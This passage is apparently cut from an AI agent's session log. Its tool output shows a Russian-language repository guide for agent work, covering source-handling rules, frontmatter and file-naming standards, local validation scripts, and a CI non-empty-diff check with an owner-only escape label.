null,\n[2026-09-29T07:43:50.982Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:43:50.982Z] [INFO]   \"uuid\": \"ffb4fdb4-3453-49d1-abf1-765e377e50ee\",\n[2026-09-29T07:43:50.982Z] [INFO]   \"timestamp\": \"2026-09-29T07:43:50.973Z\",\n[2026-09-29T07:43:50.982Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:43:50.982Z] [INFO]     \"stdout\": \"\u042f\u0432\u043d\u0430\u044f \u041c\u0435\u0442\u0430 \u0432 issue \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442, \u0435\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u043d\u0430\u0440\u0443\u0448\u0430\u0435\u0442 hard rules. \u0415\u0441\u043b\u0438\\n\u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u043e, \u0430\u0433\u0435\u043d\u0442 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u043a\u043e\u043d\u0444\u043b\u0438\u043a\u0442 \u0438 \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u0442 guidance.\\n\\n\u041c\u0435\u0442\u043a\u0430 `no-diff-expected` \u2014 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u043e\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0434\u043b\u044f PR,\\n\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e \u043d\u0435 \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0434\u0438\u0444\u0444 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043e\u0431\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 retarget).\\n\u0410\u0433\u0435\u043d\u0442 \u043d\u0435 \u0441\u0442\u0430\u0432\u0438\u0442 \u0435\u0451 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e; \u043e\u0431\u044b\u0447\u043d\u044b\u0439 PR \u043e\u0431\u044f\u0437\u0430\u043d \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0439 \u0434\u0438\u0444\u0444.\\n\\nHistorical migration material \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u0430\u043a source context \u0447\u0435\u0440\u0435\u0437\\naudit, PR history \u0438\u043b\u0438 \u044f\u0432\u043d\u043e \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 `source` path. \u041d\u043e\u0432\u044b\u0439 active artifact \u0434\u043e\u043b\u0436\u0435\u043d\\n\u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c, \u043e\u0442\u043a\u0443\u0434\u0430 \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0435\u043d\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u043e\u043d\u043e \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u043c.\\n\\n### \u041a\u043e\u043d\u0441\u043e\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432\\n\\n\u041f\u0440\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0438 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u0430 \u0441\u0435\u0441\u0441\u0438\u0438, \u0435\u0441\u043b\u0438 \u0432 \u043d\u0435\u0439 \u0435\u0441\u0442\u044c \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b, \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\\n\u0434\u043e\u043b\u0436\u0435\u043d \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0438\u0445 \u0432 [`ops/backlog.md`](ops/backlog.md), \u0441\u0435\u043a\u0446\u0438\u044f\\n\u00ab\u041e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b\u00bb. \u0415\u0441\u043b\u0438 \u0432\u043e\u043f\u0440\u043e\u0441 \u0443\u0436\u0435 \u0435\u0441\u0442\u044c \u0432 BACKLOG \u2014 \u043d\u0435 \u0434\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c, \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c\\n\u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442 \u0432 \u043a\u043e\u043b\u043e\u043d\u043a\u0443 \u00ab\u0421\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u044b\u00bb.\\n\\n### \u0420\u0430\u0431\u043e\u0442\u0430 \u0441 \u0432\u043d\u0435\u0448\u043d\u0438\u043c\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438\\n\\n\u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u0432\u043e\u0434 \u043f\u0440\u0430\u0432\u0438\u043b \u2014 \u0432\\n[research/external-knowledge/README.md](research/external-knowledge/README.md),\\n\u0440\u0430\u0437\u0434\u0435\u043b \u00ab\u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0432\u043d\u0435\u0448\u043d\u0438\u043c\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438\u00bb. \u041a\u0440\u0430\u0442\u043a\u0430\u044f \u0432\u044b\u0436\u0438\u043c\u043a\u0430:\\n\\n- **\u0420\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u043d\u0438\u0435.** \u041c\u0435\u0442\u043a\u0430 `research`/\u00ab\u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435\u00bb \u0431\u0435\u0437 \u0441\u0441\u044b\u043b\u043a\u0438 = \u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u043f\u043e\u0438\u0441\u043a;\\n  \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0439 URL = \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u0435 \u0438\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u043e\u0433\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430.\\n- **\u0424\u0438\u043a\u0441\u0430\u0446\u0438\u044f.** \u0424\u0430\u043a\u0442 \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044f \u2192 \u0432\\n  [\u0440\u0435\u0435\u0441\u0442\u0440](research/external-knowledge/external-sources-registry.md) **\u0412\u0421\u0415\u0413\u0414\u0410**.\\n  \u041f\u043e\u043b\u0435\u0437\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434 \u2192 \u0438\u043d\u0441\u0430\u0439\u0442 \u0432\\n  [external-insights/](research/external-knowledge/external-insights/). \u0415\u0441\u043b\u0438\\n  \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043d\u0435 \u043f\u043e\u043b\u0435\u0437\u0435\u043d \u0434\u043b\u044f \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0444\u0430\u0437\u044b, \u043d\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0438\u0434\u0435\u0438 \u0434\u043b\u044f \u0431\u0443\u0434\u0443\u0449\u0438\u0445 \u0444\u0430\u0437 \u0438\u043b\u0438\\n  \u0441\u043c\u0435\u0436\u043d\u044b\u0445 \u0442\u0435\u043c, \u043e\u043d \u043c\u0430\u0440\u043a\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0442\u0435\u0433\u0430\u043c\u0438 `future-phase: X`, `topic: Y` (\u043f\u0440\u0438\\n  \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 `use-case: Z`) \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u0411\u0417 \u043a\u0430\u043a \u0437\u0430\u0434\u0435\u043b \u043d\u0430 \u0431\u0443\u0434\u0443\u0449\u0435\u0435.\\n  \u041f\u043e\u0432\u0442\u043e\u0440\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c.\\n- **\u041e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u0438\u0435.** \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u0441 \u044f\u0432\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0430\u043c\u0438 \u0445\u0430\u0439\u043f\u0430 \u0438\u043b\u0438 \u0432\u043e\u0434\u044b (\u043d\u0435\u0442 \u043a\u043e\u0434\u0430 \u0434\u043b\u044f\\n  \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u043d\u0435\u0442 \u043c\u0435\u0442\u0440\u0438\u043a \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430, \u0442\u043e\u043b\u044c\u043a\u043e \u043c\u0430\u0440\u043a\u0435\u0442\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u043e\u0431\u0435\u0449\u0430\u043d\u0438\u044f) \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u044e\u0442\u0441\u044f\\n  \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e: \u0442\u043e\u043b\u044c\u043a\u043e \u0444\u0430\u043a\u0442 \u0432 \u0440\u0435\u0435\u0441\u0442\u0440\u0435 \u0441\u043e \u0441\u0442\u0430\u0442\u0443\u0441\u043e\u043c `rejected` \u0438 \u043f\u043e\u043c\u0435\u0442\u043a\u043e\u0439\\n  \u00ab\u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u043e\u00bb, \u0431\u0435\u0437 \u0438\u043d\u0441\u0430\u0439\u0442\u0430.\\n- **\u0427\u0438\u0441\u0442\u043e\u0442\u0430.** \u0424\u0430\u043a\u0442\u044b \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044f \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 **\u041d\u0415** \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 `CHANGELOG.md`\\n  \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432.\\n- **Traceability.** \u0410\u0432\u0442\u043e\u0440/\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f, \u0434\u0430\u0442\u0430 \u0438 \u044f\u0437\u044b\u043a \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432\u0441\u0435\u0433\u0434\u0430; \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044f \u2014\\n  \u043a\u043e\u0433\u0434\u0430 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043c\u0430.\\n\\n### \u0421\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 AI-\u0430\u0433\u0435\u043d\u0442\u0430\u043c\u0438\\n\\n- \u041a\u0430\u0436\u0434\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u043a \u0430\u0433\u0435\u043d\u0442\u0430 - \u043d\u043e\u0432\u0430\u044f \u0441\u0435\u0441\u0441\u0438\u044f. \u041f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0439\u0442\u0435 summary, issue, PR \u0438\u043b\u0438\\n  handover prompt, \u0435\u0441\u043b\u0438 \u043d\u0443\u0436\u0435\u043d \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 \u0440\u0430\u0431\u043e\u0442\u044b.\\n- \u0410\u0433\u0435\u043d\u0442 \u043d\u0435 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u0442 GitHub comments, review comments \u0438 CI \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438\\n  \u0441\u0435\u0441\u0441\u0438\u0438. \u0414\u043b\u044f \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u044f \u043d\u0443\u0436\u0435\u043d manual restart.\\n- Comment + manual restart \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044e \u0432 \u0442\u043e\u043c \u0436\u0435 PR; merge \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442\\n  \u043f\u0440\u0438\u043d\u044f\u0442\u0438\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430; close \u0431\u0435\u0437 merge \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u043e\u0442\u043c\u0435\u043d\u0443.\\n- \u0410\u0433\u0435\u043d\u0442 \u043d\u0435 \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043f\u0443\u0441\u0442\u044b\u0435 \u043f\u043e\u043b\u044f \u0437\u0430\u0434\u0430\u0447\u0438 \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u044b\u043c\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f\u043c\u0438. \u041d\u0435\u0434\u043e\u0441\u0442\u0430\u044e\u0449\u0438\u0439\\n  \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a gap \u0438\u043b\u0438 \u0432\u043e\u043f\u0440\u043e\u0441.\\n- \u0412 Creative mode \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043e\u0431\u0445\u043e\u0434 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u0425\u0430\u0431\u0430, \u0435\u0441\u043b\u0438 \u043e\u043d \u043d\u0435\\n  \u043d\u0430\u0440\u0443\u0448\u0430\u0435\u0442 hard bans \u0438 \u0437\u0430\u043f\u0438\u0441\u0430\u043d \u0432 PR, ADR/RFC \u0438\u043b\u0438 audit.\\n\\n## Frontmatter\\n\\n\u041d\u043e\u0432\u044b\u0435 \u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0438\u0437\u043c\u0435\u043d\u0451\u043d\u043d\u044b\u0435 Markdown-\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 necessary and\\nsufficient frontmatter \u0438\u0437\\n[standards/frontmatter-standard.md](standards/frontmatter-standard.md) \u0438\\n[standards/frontmatter-docs-standard.md](standards/frontmatter-docs-standard.md):\\n\u0431\u0430\u0437\u043e\u0432\u044b\u0435 \u043f\u043e\u043b\u044f `status`, `version`, `updated`, `temperature` \u043f\u043b\u044e\u0441 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435\\n\u043f\u043e\u043b\u044f \u043a\u043b\u0430\u0441\u0441\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430. Governance-\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0442\u0440\u0435\u0431\u0443\u044e\u0442 `owner`, ADR \u0442\u0440\u0435\u0431\u0443\u0435\u0442\\n`decision-type`, RFC \u0442\u0440\u0435\u0431\u0443\u0435\u0442 `rfc-scope`. `ai-generated` \u0432\u043e frontmatter\\n\u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d.\\n\\n## File Naming\\n\\n\u041d\u043e\u0432\u044b\u0435 \u0438 \u043c\u0438\u0433\u0440\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0445\u0440\u043e\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0435 Markdown-\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 date-first\\n\u0438\u043c\u0435\u043d\u0430 \u043f\u043e [standards/file-naming.md](standards/file-naming.md):\\n`YYYY-MM-DD-name.md` \u0434\u043b\u044f Hub `research/`, Hub `docs/report/` \u0438 spoke\\n`docs/analysis/`;\\n`YYYY-MM-name.md` \u0438\u043b\u0438 `YYYY-name.md` \u0434\u043b\u044f spoke `docs/rfc/`;\\n`YYYY-MM-adr-NNN-name.md` \u0434\u043b\u044f spoke ADR.\\n\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u0435 \u043e\u0431\u043b\u0430\u0441\u0442\u0438: Hub `research/`, Hub `docs/report/`, spoke\\n`docs/analysis/`, `docs/rfc/` \u0438 `docs/adr/`.\\n\\n## \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\\n\\n```bash\\nbash tools/test-frontmatter-validator.sh\\nbash tools/test-smart-sync.sh\\nbash tools/test-reference-research-terminology.sh\\nbash tools/test-agent-onboarding-authorization.sh\\nbash tools/test-operating-mode-contract.sh\\nbash tools/test-check-agent-work-rules-size.sh\\nbash tools/test-nonempty-diff.sh\\nbash tools/test-historical-immutable.sh\\nbash tools/test-validate-rrp-links.sh\\n./tools/check-agent-work-rules-size.sh\\n./tools/validate-file-naming.sh\\n./tools/validate-frontmatter.sh .\\n./tools/validate-repository-structure.sh\\n./tools/validate-rrp-links.sh\\npython3 tools/generate-manifest.py --check\\n```\\n\\n## \u041f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043d\u0435\u043f\u0443\u0441\u0442\u043e\u0433\u043e \u0434\u0438\u0444\u0444\u0430\\n\\n\u041a\u0430\u0436\u0434\u044b\u0439 pull request \u043e\u0431\u044f\u0437\u0430\u043d \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u043d\u0435\u043f\u0443\u0441\u0442\u043e\u0439 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0439 \u0434\u0438\u0444\u0444. \u041f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u0435\\n\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0435\u0445\u0430\u043d\u0438\u0447\u0435\u0441\u043a\u0438: \u0448\u0430\u0433 `Validate nonempty diff` \u0432\\n[.github/workflows/validate.yml](.github/workflows/validate.yml) \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\\n[tools/validate-nonempty-diff.sh](tools/validate-nonempty-diff.sh) \u043d\u0430 \u0441\u043e\u0431\u044b\u0442\u0438\u0438\\n`pull_request`. \u0414\u0438\u0444\u0444 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f three-dot \u043e\u0442 `merge-base`, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\\n\u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u0430 \u043a \u0434\u0432\u0438\u0436\u0435\u043d\u0438\u044e base-\u0432\u0435\u0442\u043a\u0438 \u0438 \u043a merge-\u043a\u043e\u043c\u043c\u0438\u0442\u0430\u043c. \u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432\\n\u0441\u043b\u0443\u0436\u0435\u0431\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430\u0445-\u0437\u0430\u0433\u043b\u0443\u0448\u043a\u0430\u0445 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u043c \u0434\u0438\u0444\u0444\u043e\u043c \u043d\u0435 \u0441\u0447\u0438\u0442\u0430\u044e\u0442\u0441\u044f; \u0442\u0435\u043b\u043e PR \u0432 git \u043d\u0435\\n\u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0438 \u0432 \u0434\u0438\u0444\u0444 \u043d\u0435 \u0432\u0445\u043e\u0434\u0438\u0442.\\n\\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u2014 [RFC #470](docs/rfc/2026-08-06-rfc-task-statement-architecture.md),\\n\u0440\u0430\u0437\u0434\u0435\u043b \u00abImplementation and Validation\u00bb, \u0448\u0430\u0433 1.\\n\\n### Escape-\u043c\u0435\u0442\u043a\u0430 `no-diff-expected`\\n\\n\u0415\u0441\u043b\u0438 PR \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u043a\u043e\u0434\u0430 \u0438\u043b\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, PR \u0441\\n\u0432\u043e\u043f\u0440\u043e\u0441\u043e\u043c \u043a \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443), \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043c\u0435\u0442\u043a\u043e\u0439 `no-diff-expected`.\\n\\n- \u041c\u0435\u0442\u043a\u0443 \u0441\u0442\u0430\u0432\u0438\u0442 **\u0442\u043e\u043b\u044c\u043a\u043e owner \u0438\u043b\u0438 admin \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f**. \u041c\u0435\u0442\u043a\u0430, \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f\\n  \u043b\u044e\u0431\u044b\u043c \u0434\u0440\u0443\u0433\u0438\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043d\u0435 \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442: CI \u043f\u0430\u0434\u0430\u0435\u0442 \u0441 \u044f\u0432\u043d\u044b\u043c\\n  \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435\u043c \u043e \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043c\u0435\u0442\u043a\u0435.\\n- \u0410\u0433\u0435\u043d\u0442 **\u043d\u0435 \u0441\u0442\u0430\u0432\u0438\u0442** \u044d\u0442\u0443 \u043c\u0435\u0442\u043a\u0443 \u0441\u0430\u043c \u0438 \u043d\u0435 \u043f\u0440\u043e\u0441\u0438\u0442 \u0435\u0451 \u043a\u0430\u043a \u0441\u043f\u043e\u0441\u043e\u0431 \u043e\u0431\u043e\u0439\u0442\u0438 \u043f\u0443\u0441\u0442\u043e\u0439\\n  \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0440\u0430\u0431\u043e\u0442\u044b; \u0432\u043c\u0435\u0441\u0442\u043e \u044d\u0442\u043e\u0433\u043e \u043e\u043d \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e, \u0438\\n  \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441 \u0432 PR.\\n\\n## \u0421\u0432\u044f\u0437\u044c \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438 \u0441 \u0442\u0435\u043e\u0440\u0438\u0435\u0439 \u0432 \u043c\u043e\u0434\u0443\u043b\u044f\u0445 RRP\\n\\n\u041f\u0440\u0430\u0432\u0438\u043b\u043e **P2** Reference Research Pattern\\n([RFC](docs/rfc/2026-07-17-rfc-reference-research-pattern.md)) \u0442\u0440\u0435\u0431\u0443\u0435\u0442, \u0447\u0442\u043e\u0431\u044b\\n\u0432\u0435\u0442\u043a\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438 \u043c\u043e\u0434\u0443\u043b\u044f **\u044f\u0432\u043d\u043e** \u0441\u0441\u044b\u043b\u0430\u043b\u0430\u0441\u044c \u043d\u0430 \u0441\u0432\u043e\u0451 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435. \u041f\u0435\u0440\u0435\u043a\u0440\u0451\u0441\u0442\u043d\u044b\u0435\\n\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e issue #505 \u0438 issue #506 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0431\u0435\u0437 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u043e\\n\u0441\u043e\u0431\u043b\u044e\u0434\u0430\u043b\u043e\u0441\u044c \u0432 3 \u0438\u0437 8 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u043c\u043e\u0434\u0435\u043b\u0438-\u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f: \u0441\u043e\u0431\u043b\u044e\u0434\u0430\u0435\u0442\u0441\u044f \u0440\u043e\u0432\u043d\u043e\\n\u0442\u043e, \u0447\u0442\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 CI.\\n\\n\u041f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0435\u0445\u0430\u043d\u0438\u0447\u0435\u0441\u043a\u0438: \u0448\u0430\u0433\\n`Validate RRP practice-to-theory links` \u0432\\n[.github/workflows/validate.yml](.github/workflows/validate.yml) \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\\n[tools/validate-rrp-links.sh](tools/validate-rrp-links.sh). \u041a\u0430\u0442\u0430\u043b\u043e\u0433 \u043e\u043f\u043e\u0437\u043d\u0430\u0451\u0442\u0441\u044f\\n\u043a\u0430\u043a \u043c\u043e\u0434\u0443\u043b\u044c \u043f\u043e \u043d\u0430\u043b\u0438\u0447\u0438\u044e `00-*.md` \u2014 \u0442\u043e\u0442 \u0436\u0435 \u043f\u0440\u0438\u0437\u043d\u0430\u043a, \u0447\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\\n`validate-file-naming.sh`. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439: \u0432 \u0444\u0430\u0439\u043b\u0435 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438 (`40-*.md`) \u0435\u0441\u0442\u044c \u0445\u043e\u0442\u044f \u0431\u044b\\n\u043e\u0434\u043d\u0430 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f markdown-\u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u0444\u0430\u0439\u043b \u0432\u0435\u0442\u043a\u0438 \u0442\u0435\u043e\u0440\u0438\u0438 \u0442\u043e\u0433\u043e \u0436\u0435 \u043c\u043e\u0434\u0443\u043b\u044f\\n(`10-*.md`, `20-*.md`, `30-*.md`). \u0423\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u0435 \u0438\u043c\u0435\u043d\u0438 \u0444\u0430\u0439\u043b\u0430 \u0431\u0435\u0437 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0435\\n89:`mango-ba-ai-runtime`.\\n94:| [`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts) | **`legacy/archived`** | \u041d\u043e\u0432\u0430\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u0432 \u043d\u0451\u043c \u043d\u0435 